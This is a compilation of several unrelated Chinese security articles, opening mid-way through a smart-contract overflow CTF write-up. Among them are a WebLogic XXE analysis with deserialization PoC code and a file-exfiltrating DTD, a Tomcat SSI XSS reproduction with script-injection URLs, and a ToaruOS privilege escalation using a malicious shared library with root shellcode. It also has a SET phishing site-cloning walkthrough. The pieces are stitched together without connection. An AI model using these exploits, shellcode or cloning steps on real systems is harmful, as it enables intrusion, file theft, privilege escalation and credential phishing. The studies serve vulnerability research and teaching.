* 此时我们令`Addr1`调用`func_01DC()函数`领取1个代币以及1个gift。
* 之后我们调用`profit`领取一个代币。此时余额为2，gift为1 。
由于`transfer2`需要余额大于2才能调用，所以我们首先令Addr2同样执行上面的两步。此时两个钱包均有余额为2 。
* 这时候Adde1调用`transfer`给Addr2转账两个代币，此时Addr余额为0，Addr2为4 。
之后Addr2就可以调用`transfer2`给Adde1转账一个非常大的金额。达到溢出效果。此时Addr1与Addr2均拥有了大量的代币（Addr2为溢出得到，Addr1为转账得到）。任意地址均可以调用flag函数。
具体的交易日志如下：
此时flag就被调用发送到用户账户上了。
### 四、总结
本次题目非常巧妙，如果后面的同学想直接查看交易日志是非常难通过一个账户来进行跟踪的。并且本题目没有公布合约，所以考验逆向能力。但是只要逆出来后就是一道比较简单的题目，没有完全逆出来的同学也可以使用常规做法进行不断转账来使余额满足要求。希望本文对大家之后的研究有所帮助。欢迎讨论。
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
**作者：R17a
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：paper@seebug.org**
## 0x00 前言
最近一直在Java相关漏洞进行分析学习，调试环境就是第一步需要准备的，所以总结一下，也是为跟我一样想要接触漏洞调试分析的萌新提供一些参考吧。
文笔粗糙，如有不当，请大佬批评指正。
## 0x01 调试基本方法
### 调试环境
* Intelli IDEA 2019.2.4
* Windows10
关于IDEA的安装破解这里就不说了，网上大把文章可以参考。
### IDEA的调试基本用法
如上图，我们挨个简单介绍下这些按钮和区域，如果想要更多详细信息，建议看下官网[IntelliJ IDEA Debug
code](https://www.jetbrains.com/help/idea/debugging-code.html)
1.调用栈：主要是在调试过程中的一些方法调用栈的显示。
2.变量区：调试程序中的变量显示，可以查看和 **更改** 变量值。
3.调试按钮：
方框内从左到右按钮分别是：
Step
Into (F7)，步入，有方法可以进入方法内部，一般用于进入自定义方法内，不会进入官方类库的方法
Step
Over (F8)，步过，一步一步往下，有方法不会进入内部。
Step
Into (F7)，步入，有方法可以进入方法内部，一般用于进入自定义方法内，不会进入官方类库的方法。
Force
Step Into (Alt+Shift+F7)，强制步入，能进入任何方法，包括官方类库的方法。
Step
Out (Shift+F8)，步出，退出当前方法到方法调用处。
Drop
Frame，回退断点，回退frame。
Run
to Cursor (Alt+F9)：运行到光标处，可以运行到光标的那行，到那时中途有断点会停在断点。
其实除了上面的按钮，还有Force Run to Cursor(Ctrl+Alt+F9)、Improve stepping speed、Step out
of code block?等可以在Run菜单栏找到。
4.运行工具按钮：可以在这里重新运行、结束、查看所有断点等。
Rerun，重新运行。
Resume
Program (F9)：恢复程序，运行程序，遇到断点再停止。
Stop，停止运行。
View
Breakpoints，查看所有断点。
View
Breakpoints，使所有断点失效。
5.计算表达式：Evaluate Expression (Alt+F8)，在我看来是一个非常好用的计算器，可以计算表达式、方法return值等。
除了上面的基本用法，[官方](https://www.jetbrains.com/help/idea/altering-the-program-s-execution-flow.html)还为我们准备了一些实用的技巧。
1.Drop
Frame，回退断点，上面提到了这个。我们在debug分析的过程中经常会有Step多了，错过了关键地方或者想回去重看下，就可以用这个。
2.Use breakpoint expressions?，断点表达式：可以设置断点的条件，当满足条件才暂停，这个可以在循环或者某个确认。
## 0x02 远程调试
我在分析漏洞的时候，会用到远程调试，多是docker+IDEA，所以这里想总结下便于以后远程分析各种java相关漏洞。
### Java远程调试基础知识
Java远程调试的原理是 **两个VM之间** 通过debug协议 **JDWP（Java Debug Wire Protocol）**
进行通信，确保本地的Java的源代码与目标应用程序 **一致**
就可以成功调试，在这里我们通常会认为远程JVM是debug服务器，本地JVM是debug客户端。
知道这个我们就抓住了重点。IDEA为我们提供了连接远程调试服务，只要像下图配置远程JVM就可以去连接，而且IDEA会帮我们自动生成命令行，可以为远程JVM提供参考。
Debugger
mode：指的是本地的debug模式，这里有两种选择Attach和Listen，Attach代表主动去连接远程JVM，那么远程JVM就处于监听状态，Listen代表本地监听远程JVM，我目前接触的比较多的是Attach模式，所以下面介绍的也都是这种模式。
不同的JDK版本，JVM命令行参数可能不同，这里仅介绍下JDK 5-8的命令行参数：
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=1234
transport=dt_socket：socket方式连接
server=y：yes，监听debug客户端请求
suspend=n：no，暂不挂起
address=1234：监听端口1234
### 远程调试实例
在分析漏洞时，经常会在vulhub、vulfocus等拉取docker镜像来进行复现，但是如果这时候想要进行代码深入分析的时候，就需要用到远程调试。以下用两个例子进行说明。
#### 场景一：Apache Dubbo漏洞docker远程分析调试，内含jar包。
直接在后台从vulfocus进行拉取镜像或者vulfocus页面拉取：
docker pull vulfocus/dubbo-cve_2020_1948
在页面启动dubbo-cve_2020_1948容器。
查看容器相关信息，如图，能看到环境变量和启动命令"java -jar /demo/demo.jar"
docker inspect 524
现在我们需要将容器环境变量和启动命令做修改，这里我使用docker-compose来启动服务。docker-compose.yml文件如下，添加环境调试变量JAVA_OPT、命令添加"-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=18888"，端口注意对于添加18888。
docker-compose.yml
version: "3"
services:
api:
build: .
image: vulfocus/dubbo-cve_2020_1948
environment:
- JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=18888
container_name: dubbo_test
command:
- java
- -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=18888
- -jar
- /demo/demo.jar
ports:
- "12345:12345"
- "18888:18888"
开启docker-compose up -d
到此docker环境配置完成，接下来配置本地IDEA环境。
首先用docker cp将上面执行的demo.jar包拷贝出来，然后传输到本地。
docker cp 524:/demo/demo.jar .
创建一个新项目，将demo.jar作为libraries加进来。
在项目下创建一个lib目录，然后打开demo.jar里面的lib下的所有jar拷贝到新建的lib下，并将新建的lib添加到libraries。
然后配置远程调试JVM信息准备连接。
配置完成后，打上断点发送包就可以正常拦截分析了。
这种场景适用于直接执行jar包，根据实际情况修改相关信息即可。当我们的复现docker环境是用包含了war包在tomcat下部署的，那我们可以采用两种方法，一种即将war拷贝到本地部署然后调试，另一种就是修改容器的tomcat相关远程调试参数然后拷贝ROOT下的src到项目然后分析，这里说明下如何tomcat远程调试参数：可以直接进入容器修改catalina.sh，也可以像上面方式写一个docker-compose.yml添加上环境变量。所以类似情况根据实际情况变通即可。
# tomcat远程调试
CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=5005,suspend=n,server=y"
#### 场景二：weblogic漏洞调试分析，直接用docker镜像进行分析，
#### 将用到的jar拷贝到本地。
这里不在本文详细说明，参考[IDEA+docker，进行远程漏洞调试（weblogic）](https://www.cnblogs.com/ph4nt0mer/p/11772709.html)即可，我们需要知道的是遇到这种大型中间件等思路都是类似的：
1. 找到开启他们远程调试的方法，一般是在启动脚本中某个debug参数进行修改
2. 保证外部开启这个容器的对应端口和对应环境
3. 本地IDEA：在一个项目中将容器内的相关jar包都拷贝出来作为libraries
4. IDEA配置远程调试IVM信息，打上断点连接remote JVM
参考链接：
[IntelliJ IDEA Debug code](https://www.jetbrains.com/help/idea/debugging-code.html)
[JPDA 体系概览](https://developer.ibm.com/zh/articles/j-lo-jpda1/)
[Java远程调试（Remote
Debugging）的那些事](https://cloud.tencent.com/developer/article/1532856)
[Java Application Remote Debugging](https://www.baeldung.com/java-application-remote-debugging)
[IDEA+docker，进行远程漏洞调试（weblogic）](https://www.cnblogs.com/ph4nt0mer/p/11772709.html)
* * * | 社区文章 |
**作者：Longofo@知道创宇404实验室**
**时间：2019年4月26日**
Oracle发布了4月份的补丁，详情见链接(<https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW>)
@xxlegend在[《Weblogic CVE-2019-2647等相关XXE漏洞分析》](https://paper.seebug.org/900/
"《Weblogic
CVE-2019-2647等相关XXE漏洞分析》")分析了其中的一个XXE漏洞点，并给出了PoC。刚入手java不久，本着学习的目的，自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程，新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode，没有他的帮助我可能环境搭起来都会花费一大半时间。
### 补丁分析，找到漏洞点
根据JAVA常见XXE写法与防御方式(参考<https://blog.spoock.com/2018/10/23/java-xxe/>)，通过对比补丁，发现新补丁以下四处进行了`setFeature`操作:
应该就是对应的四个CVE了，其中`ForeignRecoveryContext`@xxlegend大佬已经分析过了，这里就不再分析了，下面主要是分析下其他三个点
### 分析环境
* Windows 10
* WebLogic 10.3.6.0
* Jdk160_29（WebLogic 10.3.6.0自带的JDK）
### WsrmServerPayloadContext 漏洞点分析
`WsrmServerPayloadContext`修复后的代码如下:
package weblogic.wsee.reliability;
import ...
public class WsrmServerPayloadContext extends WsrmPayloadContext {
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
...
}
private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
...
ByteArrayInputStream var15 = new ByteArrayInputStream(var3);
try {
DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();
try {
String var8 = "http://xml.org/sax/features/external-general-entities";
var7.setFeature(var8, false);
var8 = "http://xml.org/sax/features/external-parameter-entities";
var7.setFeature(var8, false);
var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
var7.setFeature(var8, false);
var7.setXIncludeAware(false);
var7.setExpandEntityReferences(false);
} catch (Exception var11) {
if (verbose) {
Verbose.log("Failed to set factory:" + var11);
}
}
...
}
}
可以看到进行了`setFeature`操作防止xxe攻击，而未打补丁之前是没有进行`setFeature`操作的
`readExternal`在反序列化对象时会被调用，与之对应的`writeExternal`在序列化对象时会被调用，看下`writeExternal`的逻辑:
`var1`就是`this.formENdpt`，注意`var5.serialize`可以传入三种类型的对象，`var1.getEndptElement()`返回的是`Element`对象，先尝试新建一个项目构造一下`PoC`:
结构如下
public class WeblogicXXE1 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static class MyEndpointReference extends EndpointReference {
@Override
public Element getEndptElement() {
super.getEndptElement();
Document doc = null;
Element element = null;
try {
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
//从DOM工厂中获得DOM解析器
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
//创建文档树模型对象
doc = dbBuilder.parse("test.xml");
element = doc.getDocumentElement();
} catch (Exception e) {
e.printStackTrace();
}
return element;
}
}
public static Object getXXEObject() {
EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();
EndpointReference faultToEndpt = null;
WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
f1.setAccessible(true);
f1.set(wspc, fromEndpt);
Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
f2.setAccessible(true);
f2.set(wspc, faultToEndpt);
} catch (Exception e) {
e.printStackTrace();
}
return wspc;
}
}
test.xml内容如下，my.dtd暂时为空就行，先测试能否接收到请求:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
运行PoC，生成的反序列化数据xxe，使用十六进制查看器打开:
发现DOCTYPE无法被引入
我尝试了下面几种方法：
* 在上面说到`var5.serialize`可以传入`Document`对象，测试了下，的确可以，但是如何使`getEndptElement`返回一个`Document`对象呢？
* 尝试了自己创建一个`EndpointReference`类，修改`getEndptElement`返回对象，内容和原始内容一样，但是在反序列化时找不到我创建的类，原因是自己建的类`package`与原来的不同，所以失败了
* 尝试像Python那样动态替换一个类的方法，貌似Java好像做不到...
* 尝试了一个暴力的方法，替换Jar包中的类。首先复制出Weblogic的`modules`文件夹与`wlserver_10.3\server\lib`文件夹到另一个目录，将`wlserver_10.3\server\lib\weblogic.jar`解压，将`WsrmServerPayloadContext.class`类删除，重新压缩为`weblogic.Jar`，然后新建一个项目，引入需要的Jar文件（`modules`和`wlserver_10.3\server\lib`中所有的Jar包），然后新建一个与`WsrmServerPayloadContext.class`同样的包名，在其中新建`WsrmServerPayloadContext.class`类，复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据，对`readExternal`反序列化没有影响)。
`WsrmServerPayloadContext.class`修改的内容如下:
* 经过测试第二种方式是可行的，但是好像过程略复杂。然后尝试了下新建一个与原始`WsrmServerPayloadContext.class`类同样的包名，然后进行修改，修改内容与第二种方式一样
测试这种方式也是可行的，比第二种方式操作起来方便些
构造新的PoC:
public class WeblogicXXE1 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
EndpointReference fromEndpt = new EndpointReference();
EndpointReference faultToEndpt = null;
WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
f1.setAccessible(true);
f1.set(wspc, fromEndpt);
Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
f2.setAccessible(true);
f2.set(wspc, faultToEndpt);
} catch (Exception e) {
e.printStackTrace();
}
return wspc;
}
}
查看下新生成的xxe十六进制:
DOCTYPE被写入了
测试下，使用T3协议脚本向WebLogic 7001端口发送序列化数据: 
漂亮，接收到请求了，接下来就是尝试下到底能不能读取到文件了
构造的test.xml如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
%dtd;
%send;
]>
<ANY>xxe</ANY>
my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空，然后，不然在`dbBuilder.parse`时会报错无法生成正常的反序列化数据，至于为什么，只有自己测试下才会明白):
<!ENTITY % all
"<!ENTITY % send SYSTEM 'ftp://127.0.0.1:2121/%file;'>"
>
%all;
运行PoC生成反序列化数据，测下发现请求都接收不到了...，好吧，查看下十六进制:
`%dtd;%send;`居然不见了...，可能是因为DOM解析器的原因，my.dtd内容为空，数据没有被引用。
尝试debug看下:
可以看到`%dtd;%send;`确实是被处理掉了
测试下正常的加载外部数据，my.dtd改为如下:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1:8000/gen.xml'>"
>
%all;
gen.xml为:
<?xml version="1.0" encoding="UTF-8"?>
debug看下:
可以看到`%dtd;%send;`被my.dtd里面的内容替换了。debug大致看了xml解析过程，中间有一个`EntityScanner`，会检测xml中的ENTITY，并且会判断是否加载了外部资源，如果加载了就外部资源加载进来，后面会将实体引用替换为实体申明的内容。也就是说，我们构造的反序列化数据中的xml数据，已经被解析过一次了，而需要的是没有被解析过的数据，让目标去解析。
所以我尝试修改了十六进制如下，使得xml修改成没有被解析的形式:
运行PoC测试下，
居然成功了，一开始以为反序列化生成的xml数据那块还会进行校验，不然反序列化不了，直接修改数据是不行的，没想到直接修改就可以了
### UnknownMsgHeader 漏洞点分析
与`WsrmServerPayloadContext`差不多，PoC构造也是新建包然后替换，就不详细分析了，只说下类修改的地方与PoC构造
新建`UnknownMsgHeader`类，修改`writeExternal`
PoC如下:
public class WeblogicXXE2 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
QName qname = new QName("a", "b", "c");
Element xmlHeader = null;
UnknownMsgHeader umh = new UnknownMsgHeader();
try {
Field f1 = umh.getClass().getDeclaredField("qname");
f1.setAccessible(true);
f1.set(umh, qname);
Field f2 = umh.getClass().getDeclaredField("xmlHeader");
f2.setAccessible(true);
f2.set(umh, xmlHeader);
} catch (Exception e) {
e.printStackTrace();
}
return umh;
}
}
运行PoC测试下(生成的步骤与第一个漏洞点一样)，使用T3协议脚本向WebLogic 7001端口发送序列化数据:
### WsrmSequenceContext 漏洞点分析
这个类看似需要构造的东西挺多的，`readExternal`与`writeExternal`的逻辑也比前两个复杂些，但是PoC构造也很容易
新建`WsrmSequenceContext`类，修改
PoC如下:
public class WeblogicXXE3 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
EndpointReference acksTo = new EndpointReference();
WsrmSequenceContext wsc = new WsrmSequenceContext();
try {
Field f1 = wsc.getClass().getDeclaredField("acksTo");
f1.setAccessible(true);
f1.set(wsc, acksTo);
} catch (Exception e) {
e.printStackTrace();
}
return wsc;
}
}
测试下，使用T3协议脚本向WebLogic 7001端口发送序列化数据:
### 最后
好了，分析完成了。第一次分析Java的漏洞，还有很多不足的地方，但是分析的过程中也学到了很多，就算是一个看似很简单的点，如果不熟悉Java的一特性，会花费较长的时间去折腾。所以，一步一步走吧，不要太急躁，还有很多东西要学。
* * * | 社区文章 |
# 摘要
Apache Tomcat在其SSI实现中存在漏洞，可用于实现跨站点脚本（XSS）。只有在启用SSI并使用“printenv”指令的情况下，才能利用此漏洞。
供应商对这个漏洞的评级为低风险性，且在版本7.0.94、8.5.40和9.0.19中发布了补丁，用户应尽快升级到最新版本。
# 漏洞详细信息
服务器端包含(SSI)是一些Web服务器中使用的一种简单的脚本语言，用于实现包括文件、变量的值回显和显示有关文件的基本信息等功能。这些只是针对于SSI特定的环境变量，它们要么由用户设置，要么包含关于传入HTTP请求的信息。（请参阅此处的[完整列表](https://tomcat.apache.org/tomcat-9.0-doc/ssi-howto.html#Variables "完整列表")）。
“echo”指令打印出单个变量的值，而“printenv”指令打印出所有变量的值。这两个指令都输出HTML。Apache
Tomcat对于使用“echo”指令时正确地转义了XSS值，但对于“printenv”指令则没有。因此，如果应用程序使用这个指令，攻击者可以注入恶意输入，从而导致XSS。
比较“echo”参数中正确转义输出的[代码](https://github.com/apache/tomcat/blob/master/java/org/apache/catalina/ssi/SSIEcho.java
"代码")：
与未对输出进行正确转义的“printenv”参数的代码相比：
修复方法是添加如下[提交](https://github.com/apache/tomcat/commit/15fcd16 "提交")中所示的编码：
为了成功利用该漏洞，前期工作应该准备以下几点：
1.必须在Apache Tomcat中启用SSI支持 - 全局或特定Web应用程序。默认情况下不启用。
2.Web应用程序中必须存在具有“printenv”SSI指令的文件(通常为“.shtml”)。
3.攻击者必须能够访问该文件。
# 复现步骤
1.在Windows中安装Java运行时环境(JRE)。
2.下载有漏洞的Tomcat版本并解压。
3.在第19行修改conf\context.xml文件，获得上下文权限（(这也可以在单个应用程序上执行，而不是全局执行）
Context privileged =“true”>
4.根据这里的[指令](https://tomcat.apache.org/tomcat-9.0-doc/ssi-howto.html
"指令")修改conf\web.xml以启用SSI servlet(这也可以在单独的应用程序上完成，也可以是全局的)。
5.将以下代码放在“webapps / ROOT / ssi / printenv.shtml”中：
<html><head><title></title><body>
Echo test: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Printenv test: <!--#printenv -->
</body></html>
6通过以下命令运行Tomcat：
cd bin
catalina run
7.利用以下URL来触发XSS(可能需要使用Firefox)。观察正确转义的“echo”指令与无法正确转义的“ printenv ”指令之间的区别
http://localhost:8080/ssi/printenv.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EXSS%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
http://localhost:8080/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E
# 供应商回应
通过由Intigriti运营的欧盟FOSSA赏金计划向供应商报告了该问题。供应商将其标记为CVE-2019-0221，并打了补丁
供应商对此漏洞的评级为“低风险”，他们的原因如下：
1.默认情况下禁用SSI
2.很少有人会用SSI
3.printenv命令也不会经常用到
供应商表示以下版本包含该漏洞（早期版本没有相关信息）：
Tomcat 9 - 版本9.0.0.M1到9.0.17（9.0.18不受影响）
Tomcat 8 - 版本8.5.0到8.5.39
Tomcat 7 - 版本7.0.0到7.0.93
建议用户升级到以下固定版本或更高版本：
Tomcat 9 – version 9.0.19
Tomcat 8 – version 8.5.40
Tomcat 7 – version 7.0.94
# 赏金信息
该报告符合欧盟FOSSA奖励计划的要求，并已支付赏金。
# 参考
[Apache SSI](https://httpd.apache.org/docs/current/mod/mod_include.html#page-header "Apache SSI")
CVE-ID: [CVE-2019-0221](https://nvd.nist.gov/vuln/detail/CVE-2019-0221
"CVE-2019-0221")
CVSS 2.0评分：待定
CVSS 3.0评分：待定
[Tomcat SSI](https://tomcat.apache.org/tomcat-9.0-doc/ssi-howto.html "Tomcat
SSI")\
[供应商建议](http://mail-archives.us.apache.org/mod_mbox/www-announce/201904.mbox/%3C13d878ec-5d49-c348-48d4-25a6c81b9605%40apache.org%3E
"供应商建议")
原文：https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/ | 社区文章 |
# 安卓调试桥ADB
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## ADB简介
adb的全称为Android Debug Bridge,起到调试桥的作用，是连接Android手机与PC端的桥梁，方便我们在电脑上对手机进行操作。
adb采用socket TCP
5554等端口的方式让IDE和Qemu通讯，借助adb工具我们可以管理设备或手机模拟器的状态，还可以进行很多手机的操作如安装软件、系统升级、运行shell命令等。
adb的使用需要安装Android sdk环境，并把“platform-tools”目录添加到系统环境变量中直接打开cmd即可使用adb命令。
## ADB主要的功能
ADB常用功能如下：
1. 查看当前迷你裙或者Android设备实例的状态
2. 给特定的模拟器或设备实例发送命令
3. 安装和协助apk应用程序
4. 从本机省复制文件到模拟器或者Android设备
5. 查看logcat日志
6. 使用shell命令
## 几款常用模拟器的自带ADB环境
我们上面说到adb的使用需要安装android sdk环境，然而现在常用的模拟器都自带了打包的ADB调试环境程序，下面以两款模拟器为例演示。
逍遥模拟器：
逍遥模拟器自带的adb在软件安装根目录MEmu下,在根目录下直接通过cmd可运行。
MuMu模拟器：
MuMu模拟器系统自带adb在软件安装路径\MuMu\emulator\nemu\vmonitor\bin\下，通过cmd执行adb_server运行
## ADB常用命令
### 01基本命令
## 1.查看adb版本信息
adb version
## 2.开启adb服务
adb start-server adb -P <port> start-server #指定服务运行端口
## 3.关闭adb服务
adb kill-server
## 4.以root权限运行
adb adb root
## 5.查询已连接设备
adb devices
### 02应用管理
## 1.查看应用列表
adb shell pm list packages [-f] [-d] [-e][-s][-3][-i] [-u] [–user
USER_ID][FILTER]
参数 显示列表
无 所有应用
-f 显示应用关联的apk 文件
-d 只显示 disabled的应用
-e 只显示enabled的应用
-s 只显示系统应用
-3 只显示第三方应用
-i 显示应用的installer
-u 包含已卸载应用包名包含
## 列举
adb shell pm list packages #查看所有应用
adb shell pm list packages -s #查看系统应用
adb shell pm list packages -3 #查看第三方应用
adb shell pm list packages xiaomi #查看包名包含’xiaomi’字符的应用
## 2.安装应用
adb install [-1] [-r] [-t] [-s] [-d] [-g] <apk-file>
参数 含义
-I 将应用安装到保护目录/mnt/asec
-r 允许覆盖安装
-t 允许安装AndroidManifest.xml 里application指定android:testOnly=”true”的应用
-s 将应用安装到sdcard
-d 允许降级覆盖安装
-g 授予所有运行时权限
## 列举
adb install apk路径
## 3.应用卸载
adb uninstall [-k] <package-name>
参数 含义
-k 卸载应用保留数据和缓存
## 4.清除应用数据与缓存
adb shell pm clear <packega-name>
## 5.查看应用详细信息
adb dumpsys package <package-name>
## 6.查看软件安装路径
adb shell pm path <package-name>
### 03文件管理
## 1.从设备传输文件到电脑
adb pull file file2 #file文件路径、file2传输到计算机中的位置
## 2.从电脑传文件到设备
adb push file file2 #file计算机中的文件、file2传输到设备路径
将设备中/sdcard/Download/burp.cer复制到电脑桌面
将电脑桌面test.txt复制到设备中
## 3.列出文件目录
adb shell ls [-a][-i][-s][-n][-R]
参数 显示列表
无 列出目录下的所有文件和目录
-a 歹出目录下的所有文件(包括隐藏的)
-i 列出目录下的所有文件和索引编号
-s 列出目录下的所有文件和文件大小
-n 列出目录下的所有文件及其UID和GID
-R 列出目录下的所有子目录中的文件
## 4.切换目录
adb shell
cd <dir>
## 5.删除目录或文件
adb shell rm [-f][-r][-d][-i] <dir or file>
参数 含义
无 删除文件
-f 强制删除文件，系统不提示
-r 强制删除指定目录中的所有文件和子目录
-d 删除指定目录，即使它是一个非空目录
-i 交互式删除，删除前提示
## cd rm命令分两步执行，先adb shell再执行
下图演示切换目录后删除test.txt文件
## 6.创建目录
adb shell mkdir [-m][-p]
参数 含义
无 创建指定目录
-m 创建指定目录并赋予读写权限
-p 创建指定目录及其父目录
## 7.创建文件
adb shell touch
## 8.查看当前路径
adb shell pwd
## 9.复制文件或目录
adb shell cp <source> <dest> ##source 原路径，dest目的路径
## 10.移动或重命名文件
adb shell mv <source> <dest>
### 04设备操作命令
## 1.查看手机CPU状态
adb shell dumpsys cpuinfo
## 2.查看内存使用情况
adb shell dumpsys meminfo <packeag-name>
## 3.显示磁盘使用信息：
adb shell dumpsys diskstats
## 4.查看电池状态
adb shell dumpsys battery adb shell dumpsys batteryproperties | 社区文章 |
之前分析过一个ToaruOS 操作系统提权的漏洞，感觉十分有意思，这里在分析一个利用ToaruOS llinker + sudo提权的漏洞
## 0x1 __attribute__介绍
__attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type
Attribute)。__attribute__前后都有两个下划线，并且后面会紧跟一对原括弧，括弧里面是相应的__attribute 参数
__attribute__语法格式为：__attribute ( ( attribute-list ) )
若函数被设定为constructor属性，则该函数会在main（）函数执行之前被自动的执行。类似的，若函数被设定为destructor属性，则该函数会在main（）函数执行之后或者exit（）被调用后被自动的执行。例如下面的程序：
#include <stdio.h>
__attribute__((constructor)) void begin()
{
printf("Constructor is called.\n");
}
__attribute__((destructor)) void after()
{
printf("destructor is called.\n");
}
int main()
{
printf("hello world\n");
return 0;
}
输出
Constructor is called.
hello world
destructor is called.
## 0x2 ToaruOS动态链接问题
把下面的代码编译成动态链接库
#include <stdio.h>
__attribute__((constructor)) void begin()
{
printf("hello world\n");
}
gcc -fPIC -shared so.c -o so.so
根据toaruos的编译过程我们知道fetch程序会动态链接toaru_hashmap库
./toaruos-1.10.9/.make/fetch.mak: $(CC) $(CFLAGS) -o $@ $< -ltoaru_hashmap -ltoaru_list
在ToaruOS里替换libtoaru_hashmap.so为我们上面编译的so程序，运行fetch 程序
fetch加载了我们的so文件，自动执行了constructor函数(图片第二行)。
如果有一个root权限的程序也加载了我们的so文件，我们就能以root权限执行任意代码，完成提权。这个程序就是sudo
## 0x3 sudo 程序
ToaruOS系统启动后加载各个程序，最后启动桌面程序，并赋权限为local。此后用户在桌面上执行的程序都由所有操作都是local权限。如果用户需要root权限怎么办，答案是依靠sudo程序。
sudo程序具有SUID权限，sudo程序在验证用户的密码之后setuid(0)，赋予当前进程的权限为root，接下来fork出来的进程也就是root权限，就是sudo后边跟的参数。
根据sudo程序的编译过程我们知道，sudo 依赖于toaru_auth.so文件。
cat ./.make/sudo.mak
base/bin/sudo: apps/sudo.c base/usr/include/toaru/auth.h util/auto-dep.py | base/lib/libtoaru_auth.so $(LC)
$(CC) $(CFLAGS) -o $@ $< -ltoaru_auth
接下来只要替换toaru_auth.so为我们的自己构造的toaru_auth.so文件，执行sudo程序我们就能以root权限执行任意代码，最后提权了。
最后poc.c
unsigned char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58
};
__attribute__((constructor)) void mehness(void)
{
((void (*)(void))shellcode)();
}
## payload
payload 在我上篇分析ToaruOS提权漏洞时讲过，这里直接复制过来。
在payload 首先执行setuid(0)设置当前进程权限，然后执行system(/bin/shh)返回shell。toaruOS通过int
0x7f调用系统函数，在syscall_nums.h中有系统调用号，setuid对应24，system对应7。
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX" | 社区文章 |
# Social-Engineer Toolkit
**在Kali Linux中使用SET工具包进行网站克隆**
SET工具包：Social-Engineer Toolkit专门用于社会工程的高级攻击包。SET通过<https://www.social-engineer.org/> 发布更新，并迅速成为渗透测试人员库中的标准工具。SET由David
Kennedy（ReL1K）编写，并在社区人员的大量帮助下，它包含了以前从未见过的攻击工具集。渗透测试期间，工具包中内置的攻击工具可以进行有针对性地集中攻击。
**第1步：检查您的IP地址（Kali Linux）**
**步骤2：检查网络中的所有计算机**
命令：Netdiscover -r 192.168.243.0/2
我们得到了N / w ip
默认网关
广播ip
Ping IP（未知）检查主机是否存在：
Ping 192.168.243.129
现在Kali Linux中利用SET
命令： **Setoolkit**
**利用第一个选项：**
1.社会工程攻击
现在，因为我们要执行网站克隆，所以我们必须选择该选项
2.网站攻击向量
5.Web Jacking攻击方法
2.网站克隆
在此之后，它将要求您提供一个IP地址(Kali Linux计算机的IP地址)
在此之后，它将要求您输入您想要克隆的网站的URL。
